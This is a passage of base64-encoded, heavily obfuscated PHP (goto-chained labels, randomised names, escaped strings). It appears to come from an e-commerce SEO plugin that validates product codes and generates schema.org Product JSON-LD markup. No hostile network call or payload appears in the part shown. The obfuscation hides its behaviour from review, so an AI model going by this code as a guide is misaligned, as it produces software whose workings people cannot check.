nY2VpICogc2VsZjo6S28xaGggKiBzZWxmOjpYeEhxbCAqIDEwMCkgLyAxMDA7IGdvdG8gYVRHcXo7IGFUR3F6OiAkT3V3YmYgPSBmbG9vcigkU2djZWkgKiBzZWxmOjpLbzFoaCAqIDEwMCkgLyAxMDA7IGdvdG8gSGk5bTU7IEhpOW01OiByZXR1cm4gWyJcMTQ0XDE1MVx4NzNceDcwXHg2Y1x4NjFceDc5XDEzN1x4NzBcMTYyXDE1MVwxNDNcMTQ1IiA9PiAkcWtQM1osICJcMTYyXDE0MVwxNjdceDVmXDE2MFx4NzJcMTUxXDE0M1x4NjUiID0+ICRPdXdiZl07IGdvdG8gQ09PWUU7IENPT1lFOiB9IHB1YmxpYyBmdW5jdGlvbiBZdjNHZygkVjZtcDcsICRBR0hmUyA9IHRydWUsICRxRzhiRSA9ICcnKSB7IGdvdG8gbjg0THA7IGlTYVpFOiAkczFnZ18gPSAwOyBnb3RvIE9xMm9ZOyBxVnVvRTogJHMxZ2dfKys7IGdvdG8gWHNFQ3c7IG5sZTI1OiAkUEM3bWogLj0gYmFzZV9jb252ZXJ0KChiYXNlX2NvbnZlcnQoJFY2bXA3WyRYbnlxTV0sIDM2LCAxMCkgKyAkdmx1SkEpICUgMzYsIDEwLCAzNik7IGdvdG8gVWMzNmM7IGJuazE4OiBHaHZsaTogZ290byBxVnVvRTsgVWMzNmM6IFNodzBXOiBnb3RvIEhIUVlnOyBJUDFqNTogJFY2bXA3ID0gJFBDN21qOyBnb3RvIGJuazE4OyBYc0VDdzogZ290byBoMl9iYzsgZ290byBkSjVZNDsgYzFQSUY6IHJldHVybiAkUEM3bWo7IGdvdG8gRnkweHI7IE9xMm9ZOiBoMl9iYzogZ290byB1MDRQZjsgbjg0THA6ICRxRzhiRSA9ICRxRzhiRSA/OiAkdGhpcy0+SzA1NFk7IGdvdG8gbWVobGk7IHUwNFBmOiBpZiAoISgkczFnZ18gPCBzdHJsZW4oJHFHOGJFKSkpIHsgZ290byBKUTNqRzsgfSBnb3RvIFdXbFdGOyBYN0JaRzogYkN3bG06IGdvdG8gaVNhWkU7IHpnMXNOOiBnb3RvIGZPS0cxOyBnb3RvIEZZTWxVOyBkSjVZNDogSlEzakc6IGdvdG8gYzFQSUY7IEhIUVlnOiAkWG55cU0rKzsgZ290byB6ZzFzTjsgRmdxdko6IGZPS0cxOiBnb3RvIFJqdjk1OyBXV2xXRjogJHZsdUpBID0gJEFHSGZTID8gYmFzZV9jb252ZXJ0KCRxRzhiRVskczFnZ19dLCAzNiwgMTApIDogMzYgLSBiYXNlX2NvbnZlcnQoJHFHOGJFWyRzMWdnX10sIDM2LCAxMCk7IGdvdG8gbnJVVWg7IG5yVVVoOiAkUEM3bWogPSAnJzsgZ290byBFZVNTcjsgc3ZVMW86ICRxRzhiRSA9ICJceDc3XDE2N1wxNjdcNTYiIC4gJHFHOGJFOyBnb3RvIFg3QlpHOyBGWU1sVTogbTRGOEM6IGdvdG8gSVAxajU7IG1laGxpOiBpZiAoIShzdHJwb3MoJHFHOGJFLCAiXHg3N1wxNjdceDc3XDU2IikgPT09IGZhbHNlKSkgeyBnb3RvIGJDd2xtOyB9IGdvdG8gc3ZVMW87IEVlU1NyOiAkWG55cU0gPSAwOyBnb3RvIEZncXZKOyBSanY5NTogaWYgKCEoJFhueXFNIDwgc3RybGVuKCRWNm1wNykpKSB7IGdvdG8gbTRGOEM7IH0gZ290byBubGUyNTsgRnkweHI6IH0gcHVibGljIGZ1bmN0aW9uIEJUM3hzKCRrSHJ2eiwgJG9HRjg0ID0gbnVsbCkgeyBnb3RvIFBTcV9kOyBlMER6cTogJHRoaXMtPlgzRU9rID0gdHJ1ZTsgZ290byBqRkRIUDsgRHRQZFc6IEVPSzZ1OiBnb3RvIE85S1JaOyBPOUtSWjogcmV0dXJuIGZhbHNlOyBnb3RvIEU3MVRDOyBEeERXeTogJFVQRXVkID0gJHRoaXMtPlRMZVlfOyBnb3RvIGFFOXh6OyB6d002aDogaWYgKHN0cnBvcyhzdHJ0b3VwcGVyKCRrSHJ2eiksICJcMTEwIikgPT09IDApIHsgZ290byBtdWd4VTsgfSBnb3RvIER4RFd5OyBjQThCVDogJFVQRXVkID0gc2VsZjo6RTRHVzc7IGdvdG8gZTBEenE7IEdMVG02OiAkUU5hdkIgPSBzdHJsZW4oJGtIcnZ6KTsgZ290byB6d002aDsgUFNaYmk6IG11Z3hVOiBnb3RvIGNBOEJUOyBzeDRkMDogWXdxZWo6IGdvdG8gRHRQZFc7IFBTcV9kOiBpZiAoISghZW1wdHkoJGtIcnZ6KSAmJiAka0hydnogIT0gLTEpKSB7IGdvdG8gRU9LNnU7IH0gZ290byBQUjhOYzsgV1hfQ3c6IHN3aXRjaCAoJG9HRjg0KSB7IGNhc2Ugc2VsZjo6RzNTTnA6IGdvdG8gbGNZQXA7IE92a24yOiB3eTFGNjogZ290byB1bndTODsgbGNZQXA6IHN3aXRjaCAoJFVQRXVkKSB7IGNhc2Ugc2VsZjo6R1ZCSDA6IGNhc2Ugc2VsZjo6a3ZKbnM6IHJldHVybiBjdHlwZV9kaWdpdCgka0hydnopICYmICRRTmF2QiA+PSBzZWxmOjplX2xSayAmJiAkUU5hdkIgPD0gc2VsZjo6UXFiMlo7IGdvdG8gUXNnMkY7IGNhc2Ugc2VsZjo6UTJuMlc6IHJldHVybiBjdHlwZV9kaWdpdCgka0hydnopICYmICRRTmF2QiA+PSBzZWxmOjplX2xSayAmJiAkUU5hdkIgPD0gc2VsZjo6UXFiMlo7IGNhc2Ugc2VsZjo6RTRHVzc6IHJldHVybiBjdHlwZV9hbG51bSgka0hydnopICYmICRRTmF2QiA+PSBzZWxmOjplX2xSayAmJiAkUU5hdkIgPD0gc2VsZjo6UXFiMlo7IGRlZmF1bHQ6IHJldHVybiBmYWxzZTsgfSBnb3RvIE92a24yOyB1bndTODogUXNnMkY6IGdvdG8gZ3RNTjc7IGd0TU43OiBjYXNlIHNlbGY6OlRrMGpUOiBnb3RvIEdQYnFZOyBFMGx2bDogS0g2TWE6IGdvdG8gdVRSTTM7IHVUUk0zOiBEdTVmRTogZ290byB4ajZVVDsgR1BicVk6IHN3aXRjaCAoJFVQRXVkKSB7IGNhc2Ugc2VsZjo6R1ZCSDA6IGNhc2Ugc2VsZjo6a3ZKbnM6IHJldHVybiBjdHlwZV9kaWdpdCgka0hydnopICYmICRRTmF2QiA+PSBzZWxmOjpPN3VYOCAmJiAkUU5hdkIgPD0gc2VsZjo6REY5SDU7IGdvdG8gRHU1ZkU7IGNhc2Ugc2VsZjo6UTJuMlc6IGNhc2Ugc2VsZjo6RTRHVzc6IHJldHVybiBjdHlwZV9hbG51bSgka0hydnopICYmICRRTmF2QiA+PSBzZWxmOjpPN3VYOCAmJiAkUU5hdkIgPD0gc2VsZjo6REY5SDU7IGRlZmF1bHQ6IHJldHVybiBmYWxzZTsgfSBnb3RvIEUwbHZsOyB4ajZVVDogZGVmYXVsdDogcmV0dXJuIGZhbHNlOyB9IGdvdG8gT1hXX1o7IGFFOXh6OiBnb3RvIFBnTllXOyBnb3RvIFBTWmJpOyBQUjhOYzogJGtIcnZ6ID0gKHN0cmluZykgJGtIcnZ6OyBnb3RvIEdMVG02OyBqRkRIUDogUGdOWVc6IGdvdG8gV1hfQ3c7IE9YV19aOiB2SXdlMDogZ290byBzeDRkMDsgRTcxVEM6IH0gcHVibGljIGZ1bmN0aW9uIG10bEFOKCRZSWJ6eSkgeyBnb3RvIFNiTlZVOyBTYk5WVTogaWYgKHN0cnBvcygkWUlienksICJcNDAiKSAhPT0gZmFsc2UpIHsgZ290byBoRHVINDsgfSBnb3RvIHZVajk4OyBLSGhoaTogc004N2M6IGdvdG8gRk5QbDI7IHFObFhrOiBnb3RvIEZxRndZOyBnb3RvIHRvazgyOyBGTlBsMjogJFlJYnp5ID0gdWN3b3JkcyhzdHJfcmVwbGFjZSgiXDU1IiwgIlx4MjAiLCAkWUlienkpKTsgZ290byBNUXRDMzsgUDdfb0k6ICRZSWJ6eSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWJcMTM0XDE2MFx4N2JceDUwXHg3ZFwxMzRcMTYwXHg3Ylx4NTNceDdkXDEzM1w3Mlx4NzNcMTYwXDE0MVx4NjNceDY1XDcyXDEzNVwxMzVcNTNceDJmXHg3NSIsICJcNDAiLCAkWUlienkpOyBnb3RvIEhNZXlaOyBYXzNrNjogJFlJYnp5ID0gc3RyX3JlcGxhY2UoIlwxMzciLCAiXHgyZCIsICRZSWJ6eSk7IGdvdG8gcFdWbTk7IFo4S2dwOiByZXR1cm4gJFlJYnp5OyBnb3RvIEN5aTZ4OyBwV1ZtOTogZ290byBGcUZ3WTsgZ290byBLSGhoaTsgTmVkYTk6ICRZSWJ6eSA9IHN0cl9yZXBsYWNlKCJcNDAiLCAiXHgyZCIsICRZSWJ6eSk7IGdvdG8gWF8zazY7IHZVajk4OiBpZiAoc3RycG9zKCRZSWJ6eSwgIlx4MmQiKSAhPT0gZmFsc2UpIHsgZ290byBzTTg3YzsgfSBnb3RvIHFObFhrOyBITWV5WjogJFlJYnp5ID0gc3RyX3JlcGxhY2UoIlw0MFx4MjAiLCAiXDQwIiwgJFlJYnp5KTsgZ290byBIQVYxNTsgdG9rODI6IGhEdUg0OiBnb3RvIFA3X29JOyBJdHZsQzogJFlJYnp5ID0gdHJpbSgkWUlienkpOyBnb3RvIE5lZGE5OyBNUXRDMzogRnFGd1k6IGdvdG8gWjhLZ3A7IEhBVjE1OiAkWUlienkgPSBzdHJfcmVwbGFjZSgiXDQwXDQwIiwgIlx4MjAiLCAkWUlienkpOyBnb3RvIEl0dmxDOyBDeWk2eDogfSBwcml2YXRlIGZ1bmN0aW9uIGc1TWdkKCRhZGFWZykgeyBnb3RvIG1TQjRwOyBtU0I0cDogZ2xvYmFsICRVZHdKSjsgZ290byBPdkVSNTsgTDFwWnU6ICRhMFJ2ciA9IGRhdGUoIlx4NTlcNTVceDZkXDU1XDE0NCIsIHN0cnRvdGltZSgiXHg2ZVwxNDVceDc4XHg3NFw0MFx4NzlceDY1XHg2MVwxNjIiKSk7IGdvdG8gUU84REg7IGZrRWFwOiAkQWQyUVQgPSBzdHJpcF90YWdzKCRhZGFWZ1siXHg3NFx4NjlcMTY0XDE1NFwxNDUiXSk7IGdvdG8gWFloOVA7IEEzSERWOiAkWng0RDIgPSAiXDE1Nlx4NmYiOyBnb3RvIHgxNlc2OyBNWmhUbzogJGV2b0ZNID0gW107IGdvdG8gTVNEUTA7IGNFek5DOiBnb3RvIEFBZlBXOyBnb3RvIGh1X0p1OyByYjNrSTogVEQ4SWo6IGdvdG8gUVIxZGU7IEl6QkFOOiBmb3JlYWNoICgkYWRhVmdbIlx4NzNceDcwXHg2NVwxNDNcMTUxXDE0Nlx4NjlceDYzXHg3MyJdIGFzICRxRzhiRSA9PiAkbU9zbUgpIHsgZ290byBCRFg0NTsgQkRYNDU6IGZvcmVhY2ggKCRIX0ljSSBhcyAkTm1qUUsgPT4gJE84QVdRKSB7IGdvdG8gTUVUZG07IEhWQ3g5OiAkYWRhVmdbJE84QVdRXSA9ICRtT3NtSDsgZ290byBaV0NaeDsgeDRLUzE6IFZyU0syOiBnb3RvIEQwZlZmOyBNRVRkbTogaWYgKCEoZW1wdHkoJGFkYVZnWyRPOEFXUV0pICYmICRxRzhiRSA9PSAkTm1qUUspKSB7IGdvdG8gRzdOTUY7IH0gZ290byBIVkN4OTsgWldDWng6IEc3Tk1GOiBnb3RvIHg0S1MxOyBEMGZWZjogfSBnb3RvIE5YRzhlOyBLaWtQdTogdnB6RVk6IGdvdG8gU3FVZ3A7IE5YRzhlOiBzZGlYVTogZ290byBNcWdpMjsgTXFnaTI6IGFycmF5X3B1c2goJGV2b0ZNLCBbIlwxMDBcMTY0XDE3MVwxNjBceDY1IiA9PiAiXDEyMFx4NzJceDZmXDE2MFx4NjVceDcyXHg3NFwxNzFcMTI2XDE0MVx4NmNcMTY1XDE0NSIsICJcMTU2XHg2MVx4NmRcMTQ1IiA9PiAkcUc4YkUsICJceDc2XDE0MVwxNTRcMTY1XHg2NSIgPT4gJG1Pc21IXSk7IGdvdG8gS2lrUHU7IFNxVWdwOiB9IGdvdG8gcmIza0k7IHJnR19kOiAkUVB5WDYgPSBpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NTMiXSkgJiYgJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBceDUzIl0gPT0gIlx4NmZceDZlIiB8fCBpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdcMTMwXHg1Zlx4NDZcMTE3XHg1MlwxMjdceDQxXHg1Mlx4NDRceDQ1XHg0NFwxMzdcMTIwXHg1MlwxMTdcMTI0XDExNyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFx4NWZcMTMwXDEzN1x4NDZceDRmXDEyMlx4NTdceDQxXHg1Mlx4NDRcMTA1XHg0NFwxMzdcMTIwXHg1MlwxMTdcMTI0XHg0ZiJdID09ICJcMTUwXHg3NFwxNjRcMTYwXHg3MyIgPyAiXHg2OFwxNjRceDc0XDE2MFwxNjNcNzJcNTdceDJmIiA6ICJcMTUwXHg3NFwxNjRcMTYwXDcyXHgyZlw1NyI7IGdvdG8gTVpoVG87IFB3dFNVOiBmb3JlYWNoICgkYWRhVmdbIlx4NzBcMTUxXHg2M1wxNjRcMTY1XHg3MlwxNDVceDczIl0gYXMgJHFHOGJFID0+ICRtT3NtSCkgeyBnb3RvIEhyYlpWOyB1VjN0SDogS3VvaHo6IGdvdG8gS0lwUF87IEtJcFBfOiAkblJZdEJbXSA9IHByZWdfcmVwbGFjZSgiXDU3XHg1Y1w1N1x4NzNceDc0XHg2MVwxNjRceDY5XHg2M1x4NWNceDJmXHgyOFx4MmVceDJhXHgyOVw1NyIsICJ7JFFQeVg2fXskdGhpcy0+SzA1NFl9eyR0aGlzLT5VSVdxVygpfVx4M2ZcMTY0XHgzZFwxNjNceDc0XDE0MVx4NzRcMTUxXDE0M1x4MjZcMTYwXDc1XHg3M1x4NzRcMTQxXDE2NFx4NjlceDYzXDQ2XDE0NVw3NVw0NFw2MSIsICRtT3NtSCk7IGdvdG8gU1oxMDI7IGlvNlhjOiBlckhNUjogZ290byBUOE1fbzsgSFBJbGc6ICRuUll0QltdID0gInskUVB5WDZ9eyR0aGlzLT5LMDU0WX17JHRoaXMtPnVpd1F3KCl9eyRtT3NtSH0iOyBnb3RvIHBQRG91OyBwUERvdTogZ290byBxTmpjRTsgZ290byB1VjN0SDsgU1oxMDI6IHFOamNFOiBnb3RvIGlvNlhjOyBIcmJaVjogaWYgKCR0aGlzLT5jdUF1MyB8fCBzdHJpcG9zKCRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJcMTM3XDEyM1x4NGZcMTA2XHg1NFwxMjdceDQxXDEyMlwxMDUiXSwgIlx4NmVceDY3XDE1MVx4NmVceDc4IikgIT09IGZhbHNlKSB7IGdvdG8gS3VvaHo7IH0gZ290byBIUElsZzsgVDhNX286IH0gZ290byBzb1RQbTsgTkFsN2I6ICRuYWFQNiA9ICR0aGlzLT5zbUdQVygkYWRhVmdbIlwxNDNceDc1XHg3MlwxNjJceDY1XDE1NlwxNjRceDVmXDE2MFwxNjJcMTUxXHg2M1wxNDUiXSk7IGdvdG8gZ3pBT3M7IFFPOERIOiAkaFNIRjIgPSAkYWRhVmdbIlx4NjNceDc1XDE2MlwxNjJcMTQ1XHg2ZVx4NjNcMTcxXHg1Zlx4NjlceDY0Il07IGdvdG8gTkFsN2I7IHNvVFBtOiBzV3lKRzogZ290byBtRndTdTsgd0Q5TGU6IGlmIChlbXB0eSgkYWRhVmdbIlwxNTVcMTYwXHg2ZSJdKSAmJiBlbXB0eSgkYWRhVmdbIlwxNTFcMTYzXHg2MlwxNTYiXSkgJiYgZW1wdHkoJGFkYVZnWyJceDY3XHg3NFwxNTFceDZlIl0pICYmIGVtcHR5KCRhZGFWZ1siXHg2N1x4NzRcMTUxXHg2ZVx4MzgiXSkgJiYgZW1wdHkoJGFkYVZnWyJceDY3XDE2NFx4NjlcMTU2XHgzMVw2MyJdKSAmJiBlbXB0eSgkYWRhVmdbIlwxNDdceDc0XHg2OVwxNTZcNjFcNjQiXSkpIHsgZ290byB0RVpUNjsgfSBnb3RvIHd2QlB2OyBNU0RRMDogaWYgKCFpc3NldCgkYWRhVmdbIlx4NzNcMTYwXHg2NVwxNDNceDY5XHg2Nlx4NjlceDYzXDE2MyJdKSkgeyBnb3RvIGd6cDJUOyB9IGdvdG8gSXpCQU47IGlBblJZOiAkblJZdEIgPSBbXTsgZ290byBxMTQzUzsgUVIxZGU6IGd6cDJUOiBnb3RvIGlBblJZOyBPdkVSNTogJEhfSWNJID0gYXJyYXkoIlx4NDNcMTU3XHg2ZVwxNDRceDY5XHg3NFx4NjlceDZmXHg2ZSIgPT4gIlwxNDNceDZmXDE1NlwxNDRceDY5XHg3NFwxNTFcMTU3XHg2ZSIsICJceDU3XDE0NVwxNTFceDY3XHg2OFwxNjQiID0+ICJcMTY3XHg2NVx4NjlceDY3XHg2OFx4NzQiLCAiXHg0OFwxNDVcMTUxXDE0N1wxNTBceDc0IiA9PiAiXDE1MFx4NjVcMTUxXDE0N1wxNTBceDc0IiwgIlwxMjdcMTUxXDE0NFx4NzRceDY4IiA9PiAiXHg3N1wxNTFcMTQ0XHg3NFx4NjgiLCAiXHg0M1wxNTdcMTU0XDE1N1x4NzIiID0+ICJcMTQzXHg2ZlwxNTRceDZmXDE2MiIsICJcMTE1XDEyMFwxMTYiID0+ICJcMTU1XHg3MFwxNTYiLCAiXDEwN1wxMjRceDQ5XHg0ZSIgPT4gIlwxNDdceDc0XHg2OVwxNTYiLCAiXHg0N1wxMjRcMTExXHg0ZVw3MCIgPT4gIlwxNDdcMTY0XDE1MVwxNTZceDM4IiwgIlx4NDdceDU0XHg0OVwxMTZceDMxXDYzIiA9PiAiXDE0N1x4NzRcMTUxXDE1Nlx4MzFcNjMiLCAiXHg0N1x4NTRceDQ5XDExNlx4MzFcNjQiID0+ICJcMTQ3XDE2NFx4NjlceDZlXDYxXDY0IiwgIlx4NDlcMTIzXDEwMlx4NGUiID0+ICJcMTUxXHg3M1x4NjJceDZlIiwgIlwxMDJcMTYyXDE0MVwxNTZcMTQ0IiA9PiAiXHg2Mlx4NzJcMTQxXDE1Nlx4NjQiLCAiXHg0NFx4NjVceDcwXHg3NFx4NjgiID0+ICJceDY0XHg2NVwxNjBcMTY0XDE1MCIsICJceDRkXHg2MVwxNjRcMTQ1XDE2Mlx4NjlceDYxXDE1NCIgPT4gIlwxNTVceDYxXDE2NFx4NjVceDcyXDE1MVwxNDFceDZjIik7IGdvdG8gcmdHX2Q7IHdBWjBVOiAkVWR3SkogPSBbIlwxMDBceDYzXDE1N1wxNTZceDc0XHg2NVx4NzhceDc0IiA9PiAiXDE1MFwxNjRceDc0XHg3MFwxNjNcNzJceDJmXDU3XDE2M1wxNDNceDY4XHg2NVwxNTVceDYxXDU2XDE1N1x4NzJcMTQ3IiwgIlwxMDBcMTY0XDE3MVx4NzBcMTQ1IiA9PiAiXDEyMFx4NzJcMTU3XHg2NFx4NzVcMTQzXDE2NCIsICJcMTU2XDE0MVwxNTVcMTQ1IiA9PiAkQWQyUVQsICJceDY5XHg2ZFx4NjFceDY3XHg2NSIgPT4gJG5SWXRCLCAiXDE2M1x4NmJcMTY1IiA9PiAkTUx0UjQsICJcMTUxXHg2NFx4NjVceDZlXHg3NFwxNTFceDY2XHg2OVwxNDVcMTYyXDEwNVx4NzhceDY5XDE2M1x4NzRceDczIiA9PiAkWng0RDIsICJceDYzXDE0MVwxNjRcMTQ1XDE0N1wxNTdceDcyXDE3MSIgPT4gJGFkYVZnWyJceDYzXHg2MVwxNjRcMTQ1XHg2N1wxNTdcMTYyXDE3MVwxMzdceDZlXHg2MVwxNTVcMTQ1Il0sICJceDYyXDE2MlwxNDFceDZlXDE0NCIgPT4gWyJcMTAwXDE2NFx4NzlceDcwXHg2NSIgPT4gIlx4NDJceDcyXDE0MVwxNTZceDY0IiwgIlx4NmVceDYxXHg2ZFwxNDUiID0+ICRhZGFWZ1siXHg2MlwxNjJcMTQxXHg2ZVx4NjQiXSA/ICRhZGFWZ1siXDE0Mlx4NzJceDYxXDE1Nlx4NjQiXSA6ICJcMTY1XHg2ZVx4NmJcMTU2XDE1N1wxNjdcMTU2Il0sICJcMTQ0XDE0NVx4NzNceDYzXHg3MlwxNTFceDcwXDE2NFx4NjlceDZmXDE1NiIgPT4gJEpmR0JWLCAiXDE1MVwxNjRcMTQ1XHg2ZFx4NDNcMTU3XHg2ZVwxNDRcMTUxXHg3NFwxNTFcMTU3XHg2ZSIgPT4gJGFkYVZnWyJcMTQzXDE1N1x4NmVceDY0XHg2OVwxNjRcMTUxXHg2Zlx4NmUiXSwgIlx4NjNceDZmXDE2NVwxNTZcMTY0XDE2Mlx4NzlceDRmXDE0Nlx4NGZcMTYyXHg2OVx4NjdceDY5XDE1NiIgPT4gJGFkYVZnWyJceDYzXHg2Zlx4NzVceDZlXDE2NFwxNjJcMTcxIl0sICJceDcyXHg2NVx4NzZceDY5XHg2NVx4NzciID0+IFsiXHg0MFx4NzRceDc5XHg3MFwxNDUiID0+ICJcMTIyXDE0NVwxNjZcMTUxXHg2NVx4NzciLCAiXHg3Mlx4NjVceDc2XHg2OVx4NjVcMTY3XHg1Mlx4NjFcMTY0XDE1MVwxNTZceDY3IiA9PiBbIlx4NDBcMTY0XDE3MVwxNjBceDY1IiA9PiAiXDEyMlx4NjFceDc0XHg2OVwxNTZceDY3IiwgIlwxNjJceDYxXHg3NFx4NjlcMTU2XHg2N1wxMjZceDYxXDE1NFx4NzVcMTQ1IiA9PiAkdV9hY3gsICJceDYyXHg2NVx4NzNceDc0XDEyMlx4NjFcMTY0XHg2OVx4NmVceDY3IiA9PiAiXHgzNSJdLCAiXDE0MVx4NzVcMTY0XDE1MFwxNTdcMTYyIiA9PiBbIlwxMDBcMTY0XHg3OVwxNjBcMTQ1IiA9PiAiXHg1MFwxNDVceDcyXHg3M1wxNTdceDZlIiwgIlwxNTZcMTQxXDE1NVwxNDUiID0+ICJceDQ2XDE2Mlx4NjVceDY0XHgyMFwxMDJceDY1XDE1Nlx4NzNceDZmXDE1NiJdXSwgIlwxNDFceDY3XDE0N1x4NzJceDY1XDE0N1wxNDFcMTY0XDE0NVwxMjJceDYxXHg3NFwxNTFcMTU2XDE0NyIgPT4gWyJceDQwXDE2NFx4NzlcMTYwXDE0NSIgPT4gIlx4NDFcMTQ3XHg2N1wxNjJceDY1XHg2N1x4NjFcMTY0XHg2NVwxMjJcMTQxXDE2NFx4NjlcMTU2XHg2NyIsICJcMTYyXHg2MVwxNjRceDY5XHg2ZVwxNDdcMTI2XDE0MVwxNTRceDc1XDE0NSIgPT4gJHVfYWN4LCAiXDE2MlwxNDVceDc2XHg2OVwxNDVceDc3XDEwM1wxNTdceDc1XHg2ZVwxNjQiID0+ICRhZGFWZ1siXDE1MFwxNTFcMTY0XHg1Zlx4NjNcMTU3XHg3NVx4NmVcMTY0Il0gPD0gMCA/IDEgOiAkYWRhVmdbIlx4NjhceDY5XHg3NFx4NWZcMTQzXHg2Zlx4NzVcMTU2XHg3NCJdXSwgIlx4NmZcMTQ2XDE0NlwxNDVcMTYyXDE2MyIgPT4gWyJcMTAwXHg3NFwxNzFcMTYwXHg2NSIgPT4gIlx4NGZcMTQ2XHg2NlwxNDVceDcyIiwgIlx4NzVceDcyXDE1NCIgPT4gJFFQeVg2IC4gJHRoaXMtPkswNTRZIC4gJHRoaXMtPnVJV3F3KCkgLiB1cmxkZWNvZGUoJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVx4NTVcMTA1XHg1M1wxMjRceDVmXDEyNVwxMjJcMTExIl0pLCAiXDE2MFwxNjJceDY5XDE0M1wxNDVcMTI2XHg2MVwxNTRcMTUxXDE0NFwxMjVcMTU2XDE2NFwxNTFcMTU0IiA9PiAkYTBSdnIsICJceDcwXDE2Mlx4NjlceDYzXHg2NVx4NTNceDcwXHg2NVwxNDNceDY5XHg2Nlx4NjlceDYzXDE0MVx4NzRceDY5XHg2Zlx4NmUiID0+IFsiXDE2MFwxNjJceDY5XDE0M1wxNDUiID0+ICRTZ2NlaSwgIlwxNjBceDcyXHg2OVx4NjNcMTQ1XHg0M1wxNjVceDcyXDE2MlwxNDVceDZlXHg2M1wxNzEiID0+ICRoU0hGMiwgIlwxNjZceDYxXHg2Y1x4NzVcMTQ1XDEwMVx4NjRceDY0XHg2NVx4NjRceDU0XHg2MVx4NzhcMTExXHg2ZVwxNDNceDZjXHg3NVwxNDRcMTQ1XDE0NCIgPT4gIlx4NjZcMTQxXHg2Y1x4NzNcMTQ1Il0sICJceDYxXDE2Nlx4NjFceDY5XHg2Y1wxNDFcMTQyXHg2OVwxNTRcMTUxXHg3NFwxNzEiID0+ICJcMTUwXDE2NFx4NzRcMTYwXHgzYVx4MmZcNTdceDczXHg2M1wxNTBceDY1XHg2ZFwxNDFcNTZcMTU3XHg3MlwxNDdcNTdceDQ5XHg2ZVwxMjNcMTY0XHg2Zlx4NjNceDZiIiwgIlwxNjNceDY1XDE1NFwxNTRcMTQ1XHg3MiIgPT4gWyJceDQwXDE2NFwxNzFcMTYwXDE0NSIgPT4gIlx4NGZcMTYyXDE0N1wxNDFceDZlXHg2OVx4N2FcMTQxXHg3NFx4NjlcMTU3XDE1NiIsICJcMTU2XDE0MVx4NmRceDY1IiA9PiAnJywgIlx4NzVceDcyXHg2YyIgPT4gJFFQeVg2IC4gJHRoaXMtPkswNTRZIC4gJHRoaXMtPlVpd1FXKCldXSwgIlx4NjFcMTQ0XDE0NFwxNTFcMTY0XDE1MVx4NmZceDZlXHg2MVwxNTRcMTIwXDE2MlwxNTdcMTYwXDE0NVx4NzJcMTY0XDE3MSIgPT4gJGV2b0ZNXTsgZ290byB6cVBXNzsgbmZlOWI6IHJldHVybiAiXDQwXDQwXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgzY1x4NzNcMTQzXHg3Mlx4NjlceDcwXHg3NFx4MjBcMTY0XDE3MVx4NzBcMTQ1XHgzZFx4MjJcMTQxXHg3MFx4NzBcMTU0XHg2OVwxNDNcMTQxXHg3NFwxNTFcMTU3XHg2ZVw1N1wxNTRcMTQ0XDUzXHg2YVwxNjNcMTU3XHg2ZVw0Mlx4M2V7JFZxOWJffVx4M2NcNTdcMTYzXDE0M1wxNjJceDY5XDE2MFwxNjRceDNlIjsgZ290byBHMEpsUjsgWFloOVA6ICRKZkdCViA9IGVtcHR5KHN0cl9yZXBsYWNlKCJceDIwIiwgJycsICRPN2J5bykpID8gJEFkMlFUIDogJE83YnlvOyBnb3RvIGl4UE10OyBmSnptbzogJHVfYWN4ID0gJHRoaXMtPnNIVkVQKCRhZGFWZ1siXDE2MVx4NzVcMTQxXDE1NlwxNjRceDY5XDE2NFwxNzEiXSwgJGFkYVZnWyJcMTYzXHg2Zlx4NmNcMTQ0Il0sICRhZGFWZ1siXDE1MFwxNTFceDc0XDEzN1x4NjNceDZmXDE2NVx4NmVcMTY0Il0pOyBnb3RvIEwxcFp1OyBpeFBNdDogJEpmR0JWID0gbWJfc3Vic3RyKGh0bWxzcGVjaWFsY2hhcnMoJEpmR0JWLCBFTlRfUVVPVEVTKSwgMCwgNTAwMCk7IGdvdG8gU1RUOTk7IFNUVDk5OiAkTUx0UjQgPSAkdGhpcy0+WVYzR2coIlx4NzNceDZiXHg3NSIgLiAkYWRhVmdbIlx4NjlcMTY0XDE0NVwxNTVceDVmXHg2OVwxNDQiXSk7IGdvdG8gd0Q5TGU7IExhMDE4OiAkTzdieW8gPSBodG1sc3BlY2lhbGNoYXJzKCRhZGFWZ1siXDE0NFwxNDVceDczXHg2M1x4NzJceDY5XHg3MFx4NzRcMTUxXHg2Zlx4NmUiXSwgRU5UX1FVT1RFUyk7IGdvdG8gZmtFYXA7IHExNDNTOiBpZiAoIWlzc2V0KCRhZGFWZ1siXDE2MFwxNTFcMTQzXDE2NFx4NzVcMTYyXDE0NVwxNjMiXSkpIHsgZ290byBDZmk4NjsgfSBnb3RvIFB3dFNVOyBodV9KdTogdEVaVDY6IGdvdG8gQTNIRFY7IHgxNlc2OiBBQWZQVzogZ290byB3QVowVTsgbUZ3U3U6IENmaTg2OiBnb3RvIGZKem1vOyBnekFPczogJFNnY2VpID0gJG5hYVA2WyJcMTQ0XHg2OVwxNjNcMTYwXDE1NFwxNDFcMTcxXHg1Zlx4NzBcMTYyXDE1MVx4NjNcMTQ1Il07IGdvdG8gTGEwMTg7IHpxUFc3OiAkVnE5Yl8gPSBqc29uX2VuY29kZSgkVWR3SkopOyBnb3RvIG5mZTliOyB3dkJQdjogJFp4NEQyID0gIlx4NzlcMTQ1XDE2MyI7IGdvdG8gY0V6TkM7IEcwSmxSOiB9IHB1YmxpYyBmdW5jdGlvbiB1aVdxdygpIHsgZ290byBhTG8yUTsgcjg0UXY6IE12MERPOiBnb3RvIGtLTjlnOyBhR3pWQjogaWYgKCEoISR0aGlzLT5jdUF1MyB8fCBzdHJpcG9zKCRfU0VSVkVSWyJceDUzXDEwNVwxMjJceDU2XDEwNVx4NTJceDVmXHg1M1wxMTdceDQ2XHg1NFwxMjdcMTAxXHg1MlwxMDUiXSwgIlwxNTZcMTQ3XHg2OVx4NmVcMTcwIikgPT09IGZhbHNlKSkgeyBnb3RvIE12MERPOyB9IGdvdG8gS2R6d3k7IGtLTjlnOiByZXR1cm4gJHVUMHR